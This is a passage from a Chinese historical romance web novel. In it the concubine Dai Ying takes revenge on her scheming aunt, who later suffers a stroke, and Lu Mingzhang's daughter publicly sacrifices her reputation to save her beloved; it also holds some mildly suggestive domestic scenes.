“她今儿出去了,去城外的寺庙烧香,我也不能老让她管,现在也就是我父亲没回,待我父亲回了,一切都好了。”
陆崇一面说,一面拿起簸箕里的护膝,翻来覆去地把看。
“这是护膝?”
“是。”戴缨回道。
陆崇又问:“给谁的,给我大伯的么?”
戴缨点头。
“那我的呢?我父亲的呢?姐姐没给我们做?”小陆崇好奇地问道。
戴缨笑了,就势问道:“自然要给你做的,只是我这手脚忒慢,做完你大伯的,就给你做了,来,叫我丈量丈量。”
小陆崇立马站起,戴缨隔着小案几抻指大概比量了一下:“下一个就给你做。”
“那我父亲的呢,上次他给你做了狐袖,姐姐也给他回做个罢。”
小陆崇欢乐地说道,他听嬷嬷说,父亲马上就要回了,所以特别开心。
还有一桩开心的事,就是姐姐重回陆府,虽说不是来行鹿轩,可只要在陆府,他又可以来找她。
戴缨笑着没有回答。
陆溪儿那日告诉她,若是她小叔回来,兄弟二人有的一场闹。
她先时还想着,虽说陆铭川行事疏狂,但陆铭章是个静穆的脾性,再怎么闹,也闹不起来。
可陆溪儿告诉她,她大伯是现在转了性,从前的脾气厉害着,她小叔不过是面上看着狂而已。
接着,陆溪儿讲述过往,戴缨听了个清楚,看了个明白,陆铭章这人狠绝起来可以对自己下手,苦苦练就的功夫说费就费,半点不犹豫,更无一丝后悔。
他连自己的老子都赶出了府门,还有什么是他做不出来的。
他那样的人,如一支永不回头的箭,只破空向前,绝不眷恋过往。
思及此,戴缨心头蓦地一震,若有一日,她触及了他的逆鳞,做了无可挽回之事……只怕在他那里,再无转圜的余地了。
“姐姐,你想什么呢?”小陆崇拿手在戴缨面前晃了晃。
正巧七月走了进来,笑道:“哥儿,叫错了,要叫姨娘。”
小陆崇不理会,仍是问戴缨:“姐姐,我祖母去寺庙要住好长时日,待过年才回,我在你这屋里用饭好不好?”
戴缨回笑道:“怎么不好?晚些时候,我们在院里烤肉吃,一会儿你把你的姐姐们叫来,人越多越热闹。”
陆崇听说,喜得欢叫出声,也不坐了,下了榻就往其他几个院跑去。
午后,阳光正好,铺了一地的金光。
下人们欢欢喜喜将烤肉架支到院中,又是切肉,又是备料,相互间笑闹着。
陆意儿一面同陆溪儿说着话,一面悄不声儿地打量戴缨。
这位戴姨娘她从前是见过的,青山寺时,她立在母亲姚氏身侧,看着立在堂间孤零零的戴缨,脸上带着微笑,心甘情愿地解除她同谢家的婚契。
她周围环伺着即将结亲的两家人,而她,就是一颗孤立无援,被排挤在外的沙石。
这才多久,一扭转,她竟成了他们陆家人。
就在陆意儿思忖间,院外传报,她大伯回了……
第98章 不安分的挑逗
陆铭章一进院子,就见介于棚架和小拱桥边的空地,摆了几个烤肉架,下人们围在旁边切肉的切肉,备料的备料,起炭火的起炭火。
对面的香木架下,四季青的藤蔓在和煦的风中翻动,光影从叶隙穿过,洒到棚架中,落到棚架下的人的头身上。
那里坐了几个陆家小辈,在他们中间,一女子正笑吟吟地说着什么。
得知他回了,转过头,看向他,先是怔了怔,接着站起身,走了来。
“大爷今儿回得早。”戴缨没料到陆铭章回得这样早,大多时候,他都是天微暗才回。
陆铭章笑着回了一句:“今日躲懒。”
香木架下的几个陆家小辈走了来,一一行礼见过。
“去罢,不必拘着。”陆铭章颔首道。
虽有他这句话,陆溪儿、陆意儿还有其他几个小辈多少有些拘谨。
陆铭章看了戴缨一眼,然后回了主屋。
陆铭章回了,戴缨肯定要随侍在他身侧的,于是也跟着进了主屋,穿过落地罩,入到里间,替他更下朝袍,换上一件雪青色的家常软衣。
“那些野味叫他们腌制过了,烤出来味道应是不错的,大人一会儿尝尝?”
陆铭章将她替自己理衣的手轻轻握住,戴缨脸上稍稍一红,见他看着自己,似有话说。
“大人有话说?”
陆铭章看着那一双清灵的眼,停了两息,说道:“没什么,我留在这里,他们不自在,一会儿去上房陪老夫人。”
戴缨便没在意:“好,待野味烤出来,我叫下人送过去。”
陆铭章“嗯”了一声,低下头,微凉的唇在她前额碰了碰,转身出去了。
戴缨没有立刻出去,而是坐到妆奁前,待镜中人脸上的红晕淡去后,方出屋室。
因着陆铭章的离开,院里又重新恢复了热闹,野味已摆至烤架,肉香滋滋冒出,原本坐在香棚架下的陆溪儿等人,被这香气诱得走到烤炉边。
“来,来,且叫我也试一试。”陆溪儿捋起衣袖,从丫鬟手里接过烤肉的兜子,试着在炭炉上翻烤。
结果没杵两下,一阵风来,她避闪不及,烟气扑了满脸,肉也不管了,跑到一边俯身咳嗽,又抽出帕子拭眼泪。
闹得一众人大笑起来。
“溪姐儿,你这是烤肉还是烤自己呢?”
又一人说道:“什么烤肉,分明是熏肉。”
陆溪儿一口劲缓不过来,还是戴缨倒了一盏给她清嗓,才说出话。
“你们一个个就笑罢……”刚说出口,又一阵风来,换了方向,毫无征兆地扑向笑得正欢的几个陆家小辈,呛了满满一大口。
结果笑声变成了剧烈的咳嗽声,狼狈地四散跑开。
戴缨和陆溪儿先是一怔,忍不住笑出声,陆溪儿笑得伏到戴缨肩上,什么叫现世报,这就是了。
小陆崇在不远处揉着眼,叫喊道:“快,快,我要洗眼,熏得看不见了,看不见了……”
戴缨赶紧让人打了热水来,亲身给小陆崇把脸洗干净,又搽了香膏。
陆溪儿、陆意儿等几个陆家小辈也都各自在丫鬟的伺候下,净面净手。
一盏茶的工夫,肉烤出来了,戴缨让七月用食盒装了,送去了上房。
接着丫鬟婆子们又烤出了些,院子里的主子、仆从们才开始闹着吃喝起来。
肉香盈满口,酒香飘满院。
……
彼边,陆老夫人正坐着同儿子闲话,石榴笑着打帘进来,手里提着一个三屉食盒。
“一方居送来的,说是才烤出来,特意拿来给老夫人和大爷尝尝,若是吃着好,再送来。”
陆老夫人先是怔了怔,在她印象里,一方居就跟自家儿子一样,生人勿近,适才听说几个小辈在那里烤肉,还有些没回转过来。
这屋里有了贴心人,真就有了不一样的气象。
“快拿来,咱们也跟着沾香边,尝一尝。”陆老夫人说道。
石榴净过手,将温盒里的碗碟取出,分摆,布让。
只见那肉切得并不很精细,有大有小,有细有薄,然而,刚一取出,天然的肉香就勾得人口中生津。
陆老夫人尝了一块,觉着不错,又多食了两块。
“母亲喝些热茶,压压油腥。”陆铭章奉上一盏热茶,怕她吃多了不克化。
陆老夫人接过茶盏,呷了两口:“你也尝一尝。”
陆铭章执筷,拈了一小块放入口中,慢慢咽入,然后示意石榴:“拿下去,你们分用了。”
石榴应是,收起碗碟,清了桌面,退了出去。
待人退下后,陆老夫人接过先前的话:“你打算怎么办?”
陆铭章呷了一口香茶,再不紧不慢地放下,说道:“还早,三儿年后才回。”
陆老夫人一听,就知他根本没想好应对,不然不会这样说。
“不论年后回还是年前回,缨丫头原是他要求娶的,叫他回来,我看你如何自圆其说。”
陆铭章笑了笑:“不必圆,照实了说。”
陆老夫人一噎,叹了口气:“罢了,罢了,你这孩子一贯主意大,我操心也是无用。”
不知不觉到了傍晚时分,陆铭章从上房出来,回一方居时,天色已暗。
此时,院里已收拾干净,点上灯笼。
陆铭章举步进屋,就见戴缨坐在外间的半榻上,穿着一件蜜色的寝衣,半湿的乌发散在身后,垂鬈于榻间。
似是没觉察到他的靠近,不知在低头鼓捣什么。
“在做什么?”
戴缨惊转过头,见是陆铭章,举起手里的物什:“我给大人缝制的护膝,一会儿你试试?”
陆铭章点了点头,目光没在护膝上停留太久,很快移到她的面上:“我一会儿有话同你说。”
说着,转身去了沐间,丫鬟送沐洗用具和更换衣物进去。
戴缨收回眼,没由来的,心里突然起了一丝忐忑,下午他回来,她替他更衣时就觉着他有话。
思忖间,沐里响起水声哗啦,过了一会儿,又是衣料窸窣,接着陆铭章走了出来,丫鬟们将沐间收拾干净,退出了屋室。
此时屋里只他二人。
他走到窗榻边,坐到她的对面,看似无意地拿起簸箕里的护膝,开口道:“你今日见了谢家夫人?”
“大人如何知晓?”戴缨眉头微微蹙起,“监视我?”
“我没那么闲。”陆铭章继而又问,“你不仅见了戴万如,还暗示她,以谢珍换谢容,是也不是?”
这些话是她同戴万如私下的交谈,并无外人在场,陆铭章如何知晓?
其实这事,还真不是陆铭章有意探知,而是戴万如救子心切,急吼吼跑到王家,向王夫人一通“真情实意”的剥白,倒把王夫人唬了一跳,以为她魔怔了。
结果王夫人转头告诉了自家老爷,那王庆听罢,身上瞬间暴汗,一刻不敢耽搁,让人递了一张帖给陆铭章。
先是殷勤表诚,结尾委婉表示,自己年事已高,此生再无纳妾打算。
陆铭章看过后,再一想,还有什么不明白的。
“有没有这回事?”陆铭章再问。
戴缨不再隐瞒,直言道:“是,没错,我让她把谢珍许给王庆为妾。”
陆铭章点了点头,又问:“然后呢?”
“只要她把谢珍送进王家,像当初对我那样,我就帮她,救她儿子出狱。”
当然这还不算完,戴万如以为这就是她的报复,不会想到这只是个引子。
陆铭章平静地看着她,道了一句:“你打算如何救谢容?”
戴缨将目光瞥向窗户,并不说话,面上的表情有些复杂。
陆铭章低下眼,看向簸箕里的护膝,静了好一会儿,这份沉浸在两人间蔓延,陆铭章再次开口。
“你根本没想过救他。”
这丫头所做的一切,不过是为戴万如精心编织的一场骗局。
先假意给出希望,允诺以谢珍换谢容不死,待到那妇人耗尽所有、众叛亲离之际,她再亲手将这希望砸碎,让她明白,自己从头至尾,都只是被玩弄于股掌的笑话。
冷眼看戴万如挣扎,如同当初戴万如对她那样。
“我把你从不堪的境地捞出,就是想你好好的,你却仍同他们纠扯不清。”
戴缨一怔,陆铭章看向她的眼神……斥责?痛惜?还是失望?她分辨不清。
陆铭章又道:“我望你活出自己的样子,为何仍要转身?你如今所为,与你那姑母有何分别?仇是报了,却永远摆脱不了她的烙印。”
说罢,陆铭章看向对面的人儿,见她半掩于衣袖下的手紧紧攥起,低着眼,纤长的眼睫颤着,知道她在极力忍耐。
戴缨一撇嘴,从陆铭章手里夺过护膝,白给他做了,你清高,你是大人,我是小人。
“若有人如此对大人,大人能放下么?”
陆铭章没有多想,直言道:“不能。”
戴缨抬起眼,疑惑地看向他,这算什么,只许州官放火不许百姓点灯?
陆铭章无奈地叹了一息,继续说道:“知道你什么地方最吸引我么?”
戴缨怔了怔,一扫刚才的低郁,心道,什么地方吸引你?左不过这副还算新鲜的皮囊。
遂带上不正经的娇慵顽色,绕过小几,倚到他的身侧,拿自己温软的身子偎着他,声音柔款道:“大人说说看,究竟哪一处……入了大眼的青眼?”
不待陆铭章回答,她那双不安分的手,便已探入他的绢衫之内,轻柔地抚弄。
“大人若不说……阿缨便自己寻了……”
第99章 她有了身孕
前一世,戴缨困于方宅之内,成日没别的,重心全在谢容身上,她弃了铺子的营生,弃了自己的喜好,一心想着怎样讨好他。
这讨好二字,无非体现在两方面,白天和夜里。
白天,他的日常起居由她细心料理,夜里,她曲尽其趣,迎合他,侍奉,只为讨得他独一份的宠爱和欢心。
是以,相较于陆铭章而言,风月一事,她比他的道行深太多。
陆铭章这人,生于高门大户,自小被灌输了一套完整的君子准则,文武兼修,行止有度,仿佛一张早已铺好的画卷,到了一定年纪,收用丫头,通晓人事,再之后就该婚配,娶妻生子。
这是一个高门世宦子弟的正经大道。
然,在他十一二岁时出了变故,离了家,流于民间,没人知道他是怎么过来的。
即使戴缨那晚特意问过,他也只是轻描淡写地敷衍了几句。
初时,就戴缨想来,陆铭章虽无妻妾,可房里该是有人的,譬如通房,暖床婢,怎能真做到一身清净。
然而,当她和他初次相交的那一瞬,她那会儿有些不适,他微带痛苦的压抑传达给了她,她就知道了,这人真是头一次。
当时,各自身上起了汗,疼痛中彼此契合得更紧密。
陆铭章处事老到,城府深,心性更是诡谲难测,可面对戴缨的姣媚迎合,他就有些招架不住。
他一本正经地问她,知不知道自己看上她哪一点,戴缨偏不正经回答,像根藤蔓一样,缠上他,还把一双微凉的手舒到他衣里。
在她顽皮的指下,他的脸一点点变红。
他将她的手从衣里捉出,声音略带不快:“莫要胡闹!”
她知道他这人肃恪,怕冒犯太过,反弄巧成拙惹他生厌,遂依言将手从他的软衣退出,经这么一闹,二人都忘了刚才的话。
戴缨拿过护膝,问道:“大人试试?”
陆铭章点了点头。
她便俯身将护膝给他戴上:“如何?”
陆铭章屈起腿,再伸直,温声道:“甚好,难为你费心。”
接着,她将护膝取下,陆铭章正待起身,却被她扯住衣袖,眼中含笑,睨了一眼窗下的半榻,问道:“真不打算在这处试试?”
陆铭章轻笑一声,端正的坐姿,倏忽一变,屈起腿,随意地坐着,一双眼觑向她,戴缨也不羞躲,慵倦地半枕着小几,尽他饱看。
尽管他面上努力冷待,眼底也是安静的蓝调,可她从他眼中捕捉到了一闪而过的欲热,她倦懒的软款样,让他无法移眼,在这一方屋室内,他是真实的,没有对外的伪装。
陆铭章一点点压近她,两手支在桌沿,将她困于自己怀中,眼皮微微压下,没有看她,声音喑哑:“转过去。”
戴缨呆了呆,在她没反应过来时,他已将她翻过身,压伏到案几上,他一手探入她层叠的裙裾,指尖勾住了裤儿系带,作势欲扯。
戴缨浑身一颤栗,央讨道:“别……”
陆铭章俯就到她的身后,于她耳边低声:“我见你这样想,遂如你所愿,怎的又叫‘别’?”
灯亮着,一屋通明,戴缨咬唇,羞得满面通红。
一室的羞情如水一般微微荡漾,正在此时,房门被敲响,下人的声音从外响起。
“爷,三衙那边的信报。”
戴缨未及反应,臀上便挨了一记带着惩戒意味的轻拍。
陆铭章瞧着她这模样,方才主动撩拨的是她,此刻知羞退缩的也是她,平白搅得人心绪不宁。
“我去前面,你先歇息。”陆铭章披了一件大氅,出了屋室。
夜里,不知几更天时,戴缨感到身侧的异动,而后被拥进一片温热中,耳廓落下一捻温吻,仍如头一夜那样温柔。
也是奇了,这一方居的床榻同她特别合洽,除开头两晚不好睡,之后便睡得香酣,这在从前未有过。
就这么又过了几日,戴万如那方无路可走,王家不收人,谢珍在屋里闹得要死要活,不是上吊就是绝食。
华四锦二楼……
“缨娘,我已照你说的做了,只是王家不收人,姑母也没办法。”
此时的戴万如在戴缨面前,哪还有从前的盛气凌人,唯有满面的苦求。
戴缨轻叹一声:“看您说的,哪能真让珍姐嫁给那王家老爷,再怎么样,她也是我的表妹,连着血脉哩,阿缨不过随口一句玩笑,姑母就当真了。”
“那你可愿在陆相面前言语两句,饶过你表兄?”戴万如此时心里没有别的,只有救儿子。
“姑母怎的越活越回去,这话可不兴乱说,什么叫饶过表兄,分明是表兄有错在先,按律法惩处。”
戴万如连连称“是”。
接着,戴缨又道:“表兄一事,我已向大人提过,可您该知道,我这身份也就是伺候人的,说的话没分量,没办法……”
前一刻,戴万如说王家不收人,她也没办法,后一刻,戴缨就把这话原路还了回去。
直到这个时候,戴万如才发现自己被戏耍了,噌地站起,气得浑身打颤。
“你……你……”
使出全力,竟是一句话道不出,喉管发出破碎的气音。
戴缨跟着站起,看着濒临崩溃的戴万如,一字一句说道:“阿缨真心劝姑母一句,放弃罢,没用的,您的挣扎只能让你稍作喘息,却不能撼动这世道的铁律章程,说说看,你能么?”
这些话,这些话……戴万如脸上的肉抖着,肌肉线条诡异地僵化,身子撑着桌面晃了晃,两眼一黑,一头栽倒,最后是被抬回谢家的。
……
这日,陆铭章回得早,仍是先去了书房,戴缨下午出了一趟府门,同他前后脚地回,经过外院时,听小厮说他回了,便想着往书房走一走。
正走在通往书房的小径上,前方岔路口转出一人,神色慌乱,一股脑儿地往书房冲去。
“那人怎么看着像陆家大姑娘?”归雁从旁说道。
“不是像,就是她。”戴缨又道,“走,去看看。”
此时天色未暗,天边霞光铺陈。
主仆二人轻着脚步,行到院墙影里,探目看去。
“安叔,我要见我父亲。”陆婉儿说着就要登上台阶。
长安却伸手拦住:“大姑娘莫让小人难做,家主在书房理事,若想见他,该知道规矩。”接着又道,“还有,大姑娘如今禁足,没有家主命令,怎的跑出来了。”
说罢,就要叫人带陆婉儿下去。
戴缨立在墙影下,就在她以为陆婉儿会依着性子跋扈无理时,想不到的一幕发生了。
她跪了下来,就那么直直地跪在了阶上,长安连连侧身过。
陆婉儿以头触地,声音哽在喉头:“父亲,饶过谢郎罢。”
说着,狠狠往地上磕去,骨肉同砖石碰撞的闷响声,连立在院外的戴缨都听见了。
接着陆婉儿抬头,再一声:“求父亲抬手,求父亲抬手,求父亲抬手——给谢郎一条活路!”
三声,一声比一声高,接着又一连三次以额撞地,每一下都如同铁锤在敲打着骨头。
戴缨眼中看着,耳中听着,整个人隐沉于墙脚。
那墙壁是白色的,墙沿生了青色的斑痕,薄薄的一面青白墙,墙那边是女子欢喜雀跃的声音。
“快去前面看看,大爷回了没?”
接着丫鬟喜鹊的声音响起:“才看过一回,让婢子歇歇脚罢。”
陆婉儿嗔怪道:“叫你去就去,哪里就那么多话,若是大爷回了,你腿脚放快些,来告诉我,好让厨房摆饭。”
叫喜鹊的丫鬟应下了,又颠颠地往院外跑去。
戴缨在青白墙另一端立着,墙那边,来自那位陆家千金的盼语,她在等她的夫君,而自己也在等夫君。
她们等的是同一人。
不同的是,她没有盼到那人,而自己盼到了。
谢容进了她的院子,小院热闹起来,厨房也热起来,烟气从烟囱升起,变得浓郁。
她将谢容迎进暖屋,耳中却注意着墙那边的动静,其实是听不清的,可不知怎的,陆婉儿的声音就在她耳边。
“爷还没回?”
“娘子,爷去了戴姨娘的院子。”
陆婉儿的声音低了些:“哦。”接着又道,“那把桌面收了罢,灯也熄了……”
“娘子,就是大爷不来,你也该多少吃些。”
“不吃了,收了。”
再一日……
“爷回了么?”陆婉儿的声调仍是期盼的。
“娘子,爷去了那边……”
“把桌面清了罢。”
一日又一日,那清亮长着翅膀的声音终于跌落:“不等了,把院门上锁罢。”
再之后,墙那边的灯笼不再亮起,不像有人居住,天亮时,它跟着亮起,天黑后,它随之黑下来。
而自己这方小院总是热热闹闹。
没多久……她有了身孕……
第100章 已失清白之身
过往种种,那些被戴缨忽略的细节,一点点清晰起来。
院中陆婉儿的哭喊声仍在继续:“父亲,女儿给你磕头了,饶过谢郎。”
然而,任陆婉儿如何以额撞地,几欲泣血,那扇房门依旧纹丝不动。
就在戴缨以为她会放弃时,陆婉儿蹒跚膝行至台阶上,跪于门前,双掌发狠般拍向门板,扯着已然沙哑的嗓子,声音里带着赌上所有尊严与未来的疯狂,凄厉哭喊。
“女儿不孝!不知廉耻!未备六礼,已失清白之身!”
这一声如同惊雷平地起,院里院外的人可全听到了。
聪明的只恨自己在现场,想把眼睛挖了,耳朵剁了,憨蠢的,想着接下来的时日有了谈资。
终于,在这一声石破天惊的嘶吼中,房门开了。
陆铭章立于门前,低着眼,睨向地上的女儿,“啪”的扬手狠狠给了一巴掌,将陆婉儿直接打翻在地,但听他的声音冷冷传来。
“要脸不要?”
陆婉儿被人搀扶下去,仍是禁足,但戴缨知道,陆婉儿自毁式的一句话,把局面扭转。
谢容不用死了,谢家同陆家的亲事板上钉钉,用不了多久,便会提上议程。
其实,就戴缨来看,陆婉儿嫁入谢家,她该高兴,因为她知道,那并不是一个好归宿,她本该抱着看戏的姿态的。
可这会儿却高兴不起来,不是恨,而是一种说不清道不明的东西,堵塞在心头。
天黑后,陆铭章回了一方居,两人同往常一样,用罢饭,沐过身,早早入到榻间……
陆铭章入到帐里,戴缨并未睡去,而是靠坐于榻上,做着针线活计。
“给我做的?”陆铭章问道。
戴缨垂着颈儿,摇了摇头。
“给谁的?”陆铭章又问。
戴缨抬起眼看向陆铭章,又低下:“反正不是给大人做的。”
陆铭章往她手里看了几眼,肯定道:“给崇儿的。”
戴缨“嗯”了一声之后就没别的话了。
她以为他至少会同她提一提有关谢家的事,然而,什么都没有,经此一闹,陆婉儿必要嫁入谢家,那么谢家同陆家自此联亲。
陆铭章只有帮扶谢家的道理,不会再有任何打压。
别看他对自己现在好言好语,在戴缨看来,那不过是他对自己没有腻烦,而她,还能点燃他身体的热度。
若她再对谢家不利,他对自己可就不是现在这样好说话了。
一边是女儿,一边是侍妾,男人是分得清孰轻孰重的。
不知怎的,她倒有些想试试,如果她触碰他的逆鳞,探一探他的底线,他会怎样,好像她还从未见他动怒过。
那夜陆铭章对她说的话,她也有想过,是否愿意成为戴万如第二,将她对自己的伤害,以同样的程度,甚至加倍地报复回去。
她想了又想,想了又想,答案是,愿意。
心里的这口气总要出,而陆铭章当时必是看出了她眼底的执着和倔强,只是可惜,中间陆婉儿横出一脚。
戴缨是个顺应时俗之人,既然眼下不能将戴万如怎样,她先将这事放到一边,把心思重新放到生意上。
陆婉儿同谢容成亲的日子定了,听陆老夫人说,本该在年后的,不显仓促,可年后事情太多,最重要的一件,便是罗扶国使臣年后来大衍议事。
届时,作为枢密使的陆铭章必是忙碌得抽不开身,是以,陆婉儿的亲事定在了年前。
那么,接下来就是备六礼走章程。
不管陆婉儿先前闹得如何不像样,她的亲事,陆家不会含糊,再加上几近年关,阖府上下不可谓之不热闹喜庆。
她在上房侍奉老夫人时,陆婉儿来请安,老夫人言语责备,可还是看得出来,对陆婉儿发自内心地关心,盼望着她好。
因着婚礼筹备,府里时常能看到谢家人往来。
这一日,戴缨同二房、三房的两位夫人正陪同老夫人玩牌,旁边还有陆溪儿和陆意儿凑趣,下人通传,谢家夫人前来拜见。
“快将人迎进来。”陆老夫人说道。
二房的何氏同三房的姚氏相互看了眼,按说这个当口,她们该说些打趣的喜庆话,可陆婉儿同谢家的亲事有些不同,拿捏不好分寸,便成了嘲讽,所以干脆闭嘴不言。
戴万如富丽光鲜地在丫鬟环护中走进陆家上房,见了老夫人先是道了一声万福。
“谢家夫人快坐,不必多礼。”陆老夫人说道。
戴万如告了座,下人们上茶,接下来,便是相互间客气地说道,其间戴万如偶拿眼睛瞟向戴缨。
而戴缨自然也打量着戴万如。
鬓间多了些银丝,脸上却是容光焕发,一双眼格外的亮,看着比从前更年轻。
然而,再一细看,发现了不对,她那嘴角是往下扯的,割裂得不对称,难道是上次晕厥的后遗症?
戴万如的那双亮眼,在看向她时,亮得吓人,戴缨因侍立于陆老夫人身侧,位势高出一阶,回看向戴万如的眼神是低睨着。
在这欢闹的屋室里,有二房的夫人,三房的夫人,还有陆家小辈们,又有一大屋的丫鬟婆子们,好不热闹的气氛。
可就是这样欢乐的气氛里,她和戴万如二人,恨不能杀了彼此,那些欢声笑语都是虚浮的,只有她二人的恨意是真。
戴万如坐了一会儿,同陆老夫人商讨了婚庆等事宜,没有多待,起身告辞了。
陆老夫人也有些疲乏,屋中人行过礼,退了下去。
就在戴缨出了上房,往一方居去时,一个声音从后叫住她,回头去看,正是前一步离开的戴万如……
第101章 瘫了!
只见她挥开身边的丫头,缓缓走来,看着戴缨的眼,笑着执起她手,在戴缨的手背轻轻拍了两下,满含关心地道:“在陆府一切可好?”
“自然是好的。”戴缨回答道。
戴万如点了点头,一双微冷的手在戴缨手背又拍了拍,嘴里连说了两个“好”。
戴缨猛地反抓住她的手,死死抓住,露出一口白牙:“姑母呢?最近可好?”
戴万如脸色骤变,想将手从戴缨手里抽出,却发现她的力道极大,挣了两挣,皮笑肉不笑道:“我自然也好。”
戴缨点了点头,掌下用力,将戴万如往前一带,俯到她耳边,低声道:“姑母也要好好的……”停了一下,又道,“千万别乐极生悲……”
戴万如用力将手抽出,脸上哪还有半点喜色,一张脸发白发青,简直恨不能把戴缨的骨头一点点啃噬再啐出。
她所露出来的欢喜皆是伪装,儿子入狱后,陆婉儿被禁足,她没了办法求到戴缨面前。
为了救儿子,她豁出所有,按戴缨说的做了,而戴缨不过是在戏耍她。
结果,谢山同她夫妻离心,谢珍同她母女结仇,谢容从狱中出来,对她的态度更是不冷不热。
她成了整个家的罪人,没人待见她。
于是,她把这一切归咎于戴缨,因她在陆铭章耳边撺掇,搅乱了陆、谢两家的亲事,之后谢容下了牢狱,必也是因她而起。
他们谢家有此一劫和她脱不离关系。
戴万如这一狠气,不知是不是戴缨的错觉,感觉她的嘴角更歪斜了。
次日,一个消息如同焦雷一般从天而降,劈得她半日回不过神。
戴缨带着丫头正欲出一方居,往府外去,恰巧碰到前来寻她的陆溪儿和陆意儿。
“你去哪儿?”陆溪儿问道。
“我……”不待戴缨开口说完,陆溪儿拉着她回了主屋,“不管什么事,先放一放,有件天大的噩耗告诉你。”
“天大的……噩耗?”
戴缨请她二人坐下,让下人们看茶,又问:“发生了何事?”对于陆溪儿的话,她并不太当回事,这丫头说话多少有些不着调。
谁知陆溪儿接下来说道:“谢家夫人,你姑母!瘫了!”
戴缨怕自己听错,复述道:“谢家夫人?我姑母?瘫了?”
说罢,看向一旁年纪更小的陆意儿,打算从她那里得到一个回答。
陆意儿见戴缨望向自己,接口道:“是呢,真真是愁人,也不知怎的,昨儿还来咱们家呢,怎的一夜过去,人就瘫了。”
陆溪儿啧啧两声:“当真是命不好,那谢家兄长才从牢里出来,昨儿还盼着,欢喜着,家中添喜,唉,有句话怎么说来着‘乐极生悲’”
“也不能这么说,婉儿总还是要嫁过去的,谢家夫人落成这个样子,她做儿媳的,一进府就要接管家计,还要料理婆母起居,并不轻松。”陆意儿言语中透着担忧。
戴缨全没注意她二人后来说什么,在确认戴万如真的瘫了后,叹了一声。
“呀!这可真是天大的噩耗,怎么就瘫了呢?”
陆溪儿和陆意儿看向戴缨,不知是不是看错了,怎么觉着她似是在笑。
陆意儿压低声,说道:“其实昨儿我就觉着有些不对,当时还奇怪来着,想是身体不适,已有先兆,估摸着又受了什么刺激,人就瘫了。”
三人又说了些别的,坐了一会儿,陆家姊妹离去。
天将暗时,陆铭章回来,照往常那样,厨房开始摆饭,饭间,戴缨试问道:“听说,我姑母瘫了?”
陆铭章点了点头。
“这可真是……一件悲伤的事……”戴缨慨然道。
陆铭章无奈地回看过去:“把你那嘴角压一压。”
说罢,就见戴缨放下碗筷,碎步走到窗边,将半掩的窗户推得更开,合十双手,不知嘴里叽哝着什么。
“你念什么呢?”
戴缨放下双手,关上窗,再次走回,说道:“一定是我娘在保佑我。”
陆铭章摇了摇头,那谢家夫人因心火暴甚,火上行于脑,向上冲逆,扰乱头部清窍,这才致使瘫了大半边身子。
多半就是由这丫头气的,她还不自知般谢她那过世的娘亲。
过了三两日,戴缨带着丫头乘马车走了一趟谢府。
归雁将戴缨搀扶下车,门子见了,赶紧迎人,又着人往里报知。
一路往里行去,展眼看,同戴缨在时似是没区别,可给人的感觉却空落,压沉,不像一个即将筹办婚庆的人家。
这门亲乃陆家和谢家,然而,两家呈现的况景却截然不同。
陆婉儿沉在陆府欢庆的氛围里,不知她清不清楚,自己将嫁到一个什么样的环境里。
陆铭章作为父亲,了解自己的女儿,本欲给她铺一条更为轻松的后半生,可她自己不要,这也许就是从小命好,一直活在无忧中,不知磋磨造就的。
那日她在书房跪求陆铭章的一幕,不得不说,那一刻,戴缨真被她的决绝震住了。
一开口便拿自身清白做赌注,全不留一点退路。
“表姑娘来了——”一个细亮的声音,带着笑意响起。
戴缨循声去看,就见一个银红夹袄长衫的女子笑着走来,那面容看上去,既红润又鲜亮。
这女子是谢山的小妾,叫水杏的,她见过几面。
两人相互见过礼,戴缨问道:“姑母身体如何了?我来看望看望。”
水杏哀戚地叹了一声,引着她往里去:“夫人如今身子不好,下不得榻,每日请大夫来看治,又是扎针,又是吃药的,遭了不少罪,从前夫人最是心疼表姑娘,你能来看她,她必是欢喜的。”
戴缨没再说什么,随着水杏往里行去。
刚行到上房院子前,隔得有一段距离,就见院里拐出一人,身后跟了三五个丫头,只肖一眼,她便认出那人是谢珍。
头上簪着大大小小的珠翠,衣着同水杏一样的鲜亮,脚步轻快地往她院子的方向去了。
水杏瞥了一眼戴缨,解释道:“珍姐儿孝顺她母亲,每日都来看一回,陪着说说话。”
戴缨点了点头,没有多想,戴万如病了,谢珍这个做女儿的床前尽孝也是合该。
接着,两人进了上房的院子,拾级而上,还未行到卧房,先就闻到一股浓腥的药味。
进了里屋,四周墙上的窗扇全闭,光线不能照进来,昏暗的,却又不至于暗到晚间时分点蜡烛。
让人不愿在这里久待。
水杏又瞥了戴缨一眼,做出一番解释:“大夫特意嘱咐,如今天气寒冷,怕血脉受刺激,致使痉挛不畅通,不能随意开窗,所以夫人这间房不可通风。”
“姨娘有心了。”戴缨说道。
水杏嘴角带起一抹弧度,引戴缨走到帷屏前:“表姑娘进去罢,夫人就在里面……”
第102章 陆铭川归来
戴缨绕过帷屏,最先看见的不是榻上的戴万如,而是满地的汤水和着碎瓷片。
见了眼前这一幕,戴缨暗忖,看来谢珍这个做女儿的陪侍并不尽心呐。
就在戴缨出神间,一声哧哧响起,转头看去,比屋室更暗的榻上,一个人影靠坐着,侧着头,睁着一双晶亮的眼,斜瞪着她。
戴万如身上穿了一件白绫衫,衣襟被汤水浸黄,嘴歪眼斜地靠坐在床头,不知是在笑还是什么表情,她如今这个样子,戴缨反倒看不出她的喜怒。
她走到榻边,坐下,将手放到戴万如的手背上,轻轻地拍了拍,如同当初她“好言”劝解自己那样。
“阿缨特来看望姑母。”
戴万如口齿不清地说道:“你……如愿了……”
戴缨微笑道:“姑母就别关心我了,先把身子养好,表兄的婚事还需您这个当家主母操持呢。”
戴缨说罢,又亲切地拍了拍戴万如的手背,戴万如的身子并不是完全不能动,经过扎针,手臂还是可以自如活动的。
她狠狠攥住戴缨的手,好似有很多话要说,却又像沫子一般扑漫到嘴边,捂住了。
自认为手上很大的劲道,戴缨只稍稍使力,她的手就像散了架一般地松开。
戴缨没有久坐,看了戴万如眼下的样子,只说了这么几句,便起身离开了。
出了卧房,那水杏迎上来,请戴缨在外间坐下,让下人们看茶,上茶点。
“表姑娘在陆家一向可好?先前妾身时常在老爷面前说,表姑娘难得的出挑人才,听说那会儿夫人有意将您许给王家,妾还惋惜来着,有意在老爷跟前为姑娘不平两句,却……”
水杏说到这里“嗐”了一声,“看我这张嘴,都这会儿了,还说这些做什么。”
戴缨端起茶盏,以茶盖撇了撇浮沫,呷了一口,缓声道:“如今姑母这个样子,实在叫人担心,过些时候就要行婚嫁之礼了,女方又是咱们陆家的大姑娘,自小金尊玉贵的娇养着,不论是吃的还是用的,哪一样不是顶好的?”
